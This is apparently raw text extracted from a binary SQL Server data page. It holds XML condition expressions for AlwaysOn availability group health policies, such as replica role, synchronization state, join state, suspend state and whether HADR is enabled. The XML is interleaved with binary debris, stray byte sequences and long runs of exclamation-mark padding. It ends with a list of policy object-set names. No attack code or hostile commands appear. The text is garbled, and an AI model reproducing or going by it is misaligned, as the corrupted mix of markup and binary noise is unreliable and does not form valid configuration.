		  <TypeClass>Bool</TypeClass>

		  <OpType>EQ</OpType>

		  <Count>2</Count>

		  <Attribute>

			<TypeClass>Numeric</TypeClass>

			<Name>NumberOfNotSynchronizingReplicas</Name>

		  </Attribute>

		  <Constant>

			<TypeClass>Numeric</TypeClass>

			<ObjType>System.Double</ObjType>

			<Value>0</Value>

		  </Constant>

	</Operator>'pq\==`yy}};AlwaysOnAgReplicasRoleHealthConditionsa<Operator>

		  <TypeClass>Bool</TypeClass>

		  <OpType>EQ</OpType>

		  <Count>2</Count>

		  <Attribute>

			<TypeClass>Numeric</TypeClass>

			<Name>NumberOfReplicasWithUnhealthyRole</Name>

		  </Attribute>

		  <Constant>

			<TypeClass>Numeric</TypeClass>

			<ObjType>System.Double</ObjType>

			<Value>0</Value>

		  </Constant>

	</Operator>)pq\r\=yy}?AlwaysOnAgReplicasRoleHealthConditionsasa<Operator>

		  <TypeClass>Bool</TypeClass>

		  <OpType>EQ</OpType>

		  <Count>2</Count>

		  <Attribute>

			<TypeClass>Numeric</TypeClass>

			<Name>NumberOfReplicasWithUnhealthyRole</Name>

		  </Attribute>

		  <Constant>

			<TypeClass>Numeric</TypeClass>

			<ObjType>System.Double</ObjType>

			<Value>0</Value>

		  </Constant>

	</Operator>)pr\==`kAlwaysOnAgSynchronousReplicasDataSynchronizationHealthConditionsa<Operator>

		  <TypeClass>Bool</TypeClass>

		  <OpType>EQ</OpType>

		  <Count>2</Count>

		  <Attribute>

			<TypeClass>Numeric</TypeClass>

			<Name>NumberOfNotSynchronizedReplicas</Name>

		  </Attribute>

		  <Constant>

			<TypeClass>Numeric</TypeClass>

			<ObjType>System.Double</ObjType>

			<Value>0</Value>

		  </Constant>

	</Operator>+pr\r\=oAlwaysOnAgSynchronousReplicasDataSynchronizationHealthConditionsasa<Operator>

		  <TypeClass>Bool</TypeClass>

		  <OpType>EQ</OpType>

		  <Count>2</Count>

		  <Attribute>

			<TypeClass>Numeric</TypeClass>

			<Name>NumberOfNotSynchronizedReplicas</Name>

		  </Attribute>

		  <Constant>

			<TypeClass>Numeric</TypeClass>

			<ObjType>System.Double</ObjType>

			<Value>0</Value>

		  </Constant>

	</Operator>+p	s\==`oossAAlwaysOnDbrSuspendStateConditionsa<Operator>

		  <TypeClass>Bool</TypeClass>

		  <OpType>EQ</OpType>

		  <Count>2</Count>

		  <Attribute>

			<TypeClass>Bool</TypeClass>

			<Name>IsSuspended</Name>

		  </Attribute>

		  <Function>

			<TypeClass>Bool</TypeClass>

			<FunctionType>False</FunctionType>

			<ReturnType>Bool</ReturnType>

			<Count>0</Count>

		  </Function>

	</Operator>-p	s\s\=ooswEAlwaysOnDbrSuspendStateConditionsasa<Operator>

		  <TypeClass>Bool</TypeClass>

		  <OpType>EQ</OpType>

		  <Count>2</Count>

		  <Attribute>

			<TypeClass>Bool</TypeClass>

			<Name>IsSuspended</Name>

		  </Attribute>

		  <Function>

			<TypeClass>Bool</TypeClass>

			<FunctionType>False</FunctionType>

			<ReturnType>Bool</ReturnType>

			<Count>0</Count>

		  </Function>

	</Operator>-!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	=w
"?P

sp
s\t\=}}AlwaysOnDbrDataSynchronizationConditionsasa<Group>

	  <TypeClass>Bool</TypeClass>

	  <Count>1</Count>

	  <Operator>

		<TypeClass>Bool</TypeClass>

		<OpType>OR</OpType>

		<Count>2</Count>

		<Group>

		  <TypeClass>Bool</TypeClass>

		  <Count>1</Count>

		  <Operator>

			<TypeClass>Bool</TypeClass>

			<OpType>AND</OpType>

			<Count>2</Count>

			<Operator>

			  <TypeClass>Bool</TypeClass>

			  <OpType>EQ</OpType>

			  <Count>2</Count>

			  <Attribute>

				<TypeClass>Numeric</TypeClass>

				<Name>ReplicaAvailabilityMode</Name>

			  </Attribute>

			  <Function>

				<TypeClass>Numeric</TypeClass>

				<FunctionType>Enum</FunctionType>

				<ReturnType>Numeric</ReturnType>

				<Count>2</Count>

				<Constant>

				  <TypeClass>String</TypeClass>

				  <ObjType>System.String</ObjType>

				  <Value>Microsoft.SqlServer.Management.Smo.AvailabilityReplicaAvailabilityMode</Value>

				</Constant>

				<Constant>

				  <TypeClass>String</TypeClass>

				  <ObjType>System.String</ObjType>

				  <Value>AsynchronousCommit</Value>

				</Constant>

			  </Function>

			</Operator>

			<Operator>

			  <TypeClass>Bool</TypeClass>

			  <OpType>NE</OpType>

			  <Count>2</Count>

			  <Attribute>

				<TypeClass>Numeric</TypeClass>

				<Name>SynchronizationState</Name>

			  </Attribute>

			  <Function>

				<TypeClass>Numeric</TypeClass>

				<FunctionType>Enum</FunctionType>

				<ReturnType>Numeric</ReturnType>

				<Count>2</Count>

				<Constant>

				  <TypeClass>String</TypeClass>

				  <ObjType>System.String</ObjType>

				  <Value>Microsoft.SqlServer.Management.Smo.AvailabilityDatabaseSynchronizationState</Value>

				</Constant>

				<Constant>

				  <TypeClass>String</TypeClass>

				  <ObjType>System.String</ObjType>

				  <Value>NotSynchronizing</Value>

				</Constant>

			  </Function>

			</Operator>

		  </Operator>

		</Group>

		<Operator>

		  <TypeClass>Bool</TypeClass>

		  <OpType>EQ</OpType>

		  <Count>2</Count>

		  <Attribute>

			<TypeClass>Numeric</TypeClass>

			<Name>SynchronizationState</Name>

		  </Attribute>

		  <Function>

			<TypeClass>Numeric</TypeClass>

			<FunctionType>Enum</FunctionType>

			<ReturnType>Numeric</ReturnType>

			<Count>2</Count>

			<Constant>

			  <TypeClass>String</TypeClass>

			  <ObjType>System.String</ObjType>

			  <Value>Microsoft.SqlServer.Management.Smo.AvailabilityDatabaseSynchronizationState</Value>

			</Constant>

			<Constant>

			  <TypeClass>String</TypeClass>

			  <ObjType>System.String</ObjType>

			  <Value>Synchronized</Value>

			</Constant>

		  </Function>

		</Operator>

	  </Operator>

	</Group>0pt\t\B=IIMQ!IsHadrEnabledsasa<Operator>

		  <TypeClass>Bool</TypeClass>

		  <OpType>EQ</OpType>

		  <Count>2</Count>

		  <Attribute>

			<TypeClass>Bool</TypeClass>

			<Name>IsHadrEnabled</Name>

		  </Attribute>

		  <Function>

			<TypeClass>Bool</TypeClass>

			<FunctionType>True</FunctionType>

			<ReturnType>Bool</ReturnType>

			<Count>0</Count>

		  </Function>

	</Operator>2pt\u\=ww{EAlwaysOnAgOnlineStateHealthConditionsasa<Operator>

		  <TypeClass>Bool</TypeClass>

		  <OpType>EQ</OpType>

		  <Count>2</Count>

		  <Attribute>

			<TypeClass>Bool</TypeClass>

			<Name>IsOnline</Name>

		  </Attribute>

		  <Function>

			<TypeClass>Bool</TypeClass>

			<FunctionType>True</FunctionType>

			<ReturnType>Bool</ReturnType>

			<Count>0</Count>

		  </Function>

	</Operator>4{AAlwaysOnAgOnlineStateHealthConditionsa<Operator>

		  <TypeClass>Bool</TypeClass>

		  <OpType>EQ</OpType>

		  <Count>2</Count>

		  <Attribute>

			<TypeClass>Bool</TypeClass>

			<Name>IsOnline</Name>

		  </Attribute>

		  <Function>

			<TypeClass>Bool</TypeClass>

			<FunctionType>True</FunctionType>

			<ReturnType>Bool</ReturnType>

			<Count>0</Count>

		  </Function>

	</Operator>4!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!h9`"3P
4ӏmp
u\v\=AlwaysOnArDataSynchronizationHealthConditionsasa<Group>

		  <TypeClass>Bool</TypeClass>

		  <Count>1</Count>

		  <Operator>

			<TypeClass>Bool</TypeClass>

			<OpType>OR</OpType>

			<Count>2</Count>

			<Group>

			  <TypeClass>Bool</TypeClass>

			  <Count>1</Count>

			  <Operator>

				<TypeClass>Bool</TypeClass>

				<OpType>AND</OpType>

				<Count>2</Count>

				<Operator>

				  <TypeClass>Bool</TypeClass>

				  <OpType>EQ</OpType>

				  <Count>2</Count>

				  <Attribute>

					<TypeClass>Numeric</TypeClass>

					<Name>AvailabilityMode</Name>

				  </Attribute>

				  <Function>

					<TypeClass>Numeric</TypeClass>

					<FunctionType>Enum</FunctionType>

					<ReturnType>Numeric</ReturnType>

					<Count>2</Count>

					<Constant>

					  <TypeClass>String</TypeClass>

					  <ObjType>System.String</ObjType>

					  <Value>Microsoft.SqlServer.Management.Smo.AvailabilityReplicaAvailabilityMode</Value>

					</Constant>

					<Constant>

					  <TypeClass>String</TypeClass>

					  <ObjType>System.String</ObjType>

					  <Value>AsynchronousCommit</Value>

					</Constant>

				  </Function>

				</Operator>

				<Group>

				  <TypeClass>Bool</TypeClass>

				  <Count>1</Count>

				  <Operator>

					<TypeClass>Bool</TypeClass>

					<OpType>OR</OpType>

					<Count>2</Count>

					<Operator>

					  <TypeClass>Bool</TypeClass>

					  <OpType>EQ</OpType>

					  <Count>2</Count>

					  <Attribute>

						<TypeClass>Numeric</TypeClass>

						<Name>RollupSynchronizationState</Name>

					  </Attribute>

					  <Function>

						<TypeClass>Numeric</TypeClass>

						<FunctionType>Enum</FunctionType>

						<ReturnType>Numeric</ReturnType>

						<Count>2</Count>

						<Constant>

						  <TypeClass>String</TypeClass>

						  <ObjType>System.String</ObjType>

						  <Value>Microsoft.SqlServer.Management.Smo.AvailabilityReplicaRollupSynchronizationState</Value>

						</Constant>

						<Constant>

						  <TypeClass>String</TypeClass>

						  <ObjType>System.String</ObjType>

						  <Value>Synchronizing</Value>

						</Constant>

					  </Function>

					</Operator>

					<Operator>

					  <TypeClass>Bool</TypeClass>

					  <OpType>EQ</OpType>

					  <Count>2</Count>

					  <Attribute>

						<TypeClass>Numeric</TypeClass>

						<Name>RollupSynchronizationState</Name>

					  </Attribute>

					  <Function>

						<TypeClass>Numeric</TypeClass>

						<FunctionType>Enum</FunctionType>

						<ReturnType>Numeric</ReturnType>

						<Count>2</Count>

						<Constant>

						  <TypeClass>String</TypeClass>

						  <ObjType>System.String</ObjType>

						  <Value>Microsoft.SqlServer.Management.Smo.AvailabilityReplicaRollupSynchronizationState</Value>

						</Constant>

						<Constant>

						  <TypeClass>String</TypeClass>

						  <ObjType>System.String</ObjType>

						  <Value>Synchronized</Value>

						</Constant>

					  </Function>

					</Operator>

				  </Operator>

				</Group>

			  </Operator>

			</Group>

			<Operator>

			  <TypeClass>Bool</TypeClass>

			  <OpType>EQ</OpType>

			  <Count>2</Count>

			  <Attribute>

				<TypeClass>Numeric</TypeClass>

				<Name>RollupSynchronizationState</Name>

			  </Attribute>

			  <Function>

				<TypeClass>Numeric</TypeClass>

				<FunctionType>Enum</FunctionType>

				<ReturnType>Numeric</ReturnType>

				<Count>2</Count>

				<Constant>

				  <TypeClass>String</TypeClass>

				  <ObjType>System.String</ObjType>

				  <Value>Microsoft.SqlServer.Management.Smo.AvailabilityReplicaRollupSynchronizationState</Value>

				</Constant>

				<Constant>

				  <TypeClass>String</TypeClass>

				  <ObjType>System.String</ObjType>

				  <Value>Synchronized</Value>

				</Constant>

			  </Function>

			</Operator>

		  </Operator>

	</Group>7!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`mP/cpv\v\=iimq)AlwaysOnArRoleHealthConditionsasa<Operator>

		  <TypeClass>Bool</TypeClass>

		  <OpType>OR</OpType>

		  <Count>2</Count>

		  <Operator>

			<TypeClass>Bool</TypeClass>

			<OpType>EQ</OpType>

			<Count>2</Count>

			<Attribute>

			  <TypeClass>Numeric</TypeClass>

			  <Name>Role</Name>

			</Attribute>

			<Function>

			  <TypeClass>Numeric</TypeClass>

			  <FunctionType>Enum</FunctionType>

			  <ReturnType>Numeric</ReturnType>

			  <Count>2</Count>

			  <Constant>

				<TypeClass>String</TypeClass>

				<ObjType>System.String</ObjType>

				<Value>Microsoft.SqlServer.Management.Smo.AvailabilityReplicaRole</Value>

			  </Constant>

			  <Constant>

				<TypeClass>String</TypeClass>

				<ObjType>System.String</ObjType>

				<Value>Primary</Value>

			  </Constant>

			</Function>

		  </Operator>

		  <Operator>

			<TypeClass>Bool</TypeClass>

			<OpType>EQ</OpType>

			<Count>2</Count>

			<Attribute>

			  <TypeClass>Numeric</TypeClass>

			  <Name>Role</Name>

			</Attribute>

			<Function>

			  <TypeClass>Numeric</TypeClass>

			  <FunctionType>Enum</FunctionType>

			  <ReturnType>Numeric</ReturnType>

			  <Count>2</Count>

			  <Constant>

				<TypeClass>String</TypeClass>

				<ObjType>System.String</ObjType>

				<Value>Microsoft.SqlServer.Management.Smo.AvailabilityReplicaRole</Value>

			  </Constant>

			  <Constant>

				<TypeClass>String</TypeClass>

				<ObjType>System.String</ObjType>

				<Value>Secondary</Value>

			  </Constant>

			</Function>

		  </Operator>

	</Operator>:pw\==`ssww[AlwaysOnArJoinStateHealthConditionsa<Operator>

          <TypeClass>Bool</TypeClass>

          <OpType>NE</OpType>

          <Count>2</Count>

          <Attribute>

            <TypeClass>Numeric</TypeClass>

            <Name>JoinState</Name>

          </Attribute>

          <Function>

            <TypeClass>Numeric</TypeClass>

            <FunctionType>Enum</FunctionType>

            <ReturnType>Numeric</ReturnType>

            <Count>2</Count>

            <Constant>

              <TypeClass>String</TypeClass>

              <ObjType>System.String</ObjType>

              <Value>Microsoft.SqlServer.Management.Smo.AvailabilityReplicaJoinState</Value>

            </Constant>

            <Constant>

              <TypeClass>String</TypeClass>

              <ObjType>System.String</ObjType>

              <Value>NotJoined</Value>

            </Constant>

          </Function>

    </Operator><pw\w\=ssw{_AlwaysOnArJoinStateHealthConditionsasa<Operator>

          <TypeClass>Bool</TypeClass>

          <OpType>NE</OpType>

          <Count>2</Count>

          <Attribute>

            <TypeClass>Numeric</TypeClass>

            <Name>JoinState</Name>

          </Attribute>

          <Function>

            <TypeClass>Numeric</TypeClass>

            <FunctionType>Enum</FunctionType>

            <ReturnType>Numeric</ReturnType>

            <Count>2</Count>

            <Constant>

              <TypeClass>String</TypeClass>

              <ObjType>System.String</ObjType>

              <Value>Microsoft.SqlServer.Management.Smo.AvailabilityReplicaJoinState</Value>

            </Constant>

            <Constant>

              <TypeClass>String</TypeClass>

              <ObjType>System.String</ObjType>

              <Value>NotJoined</Value>

            </Constant>

          </Function>

    </Operator><!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
JP,cp
xAlwaysOnAgReplicasConnectionHealthPolicy_ObjectSetGp
AlwaysOnAgReplicasDataSynchronizationHealthPolicy_ObjectSetlp
lAlwaysOnAgReplicasRoleHealthPolicy_ObjectSetrp
AlwaysOnAgSynchronousReplicasDataSynchronizationHealthPolicy_ObjectSetxp
\AlwaysOnDbrJoinStatePolicy_ObjectSet~p
bAlwaysOnDbrSuspendStatePolicy_ObjectSetp
jAlwaysOnAgOnlineStateHealthPolicy_ObjectSetp
vAlwaysOnAgAutomaticFailoverHealthPolicy_ObjectSetp
	hAlwaysOnArConnectionHealthPolicy_ObjectSetp

nAlwaysOnDbrDataSynchronizationState_ObjectSetp
zAlwaysOnArDataSynchronizationHealthPolicy_ObjectSetp
\AlwaysOnArRoleHealthPolicy_ObjectSetp

BhAlwaysOnAgWSFClusterHealthPolicy_ObjectSetp
fAlwaysOnArJoinStateHealthPolicy_ObjectSet!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!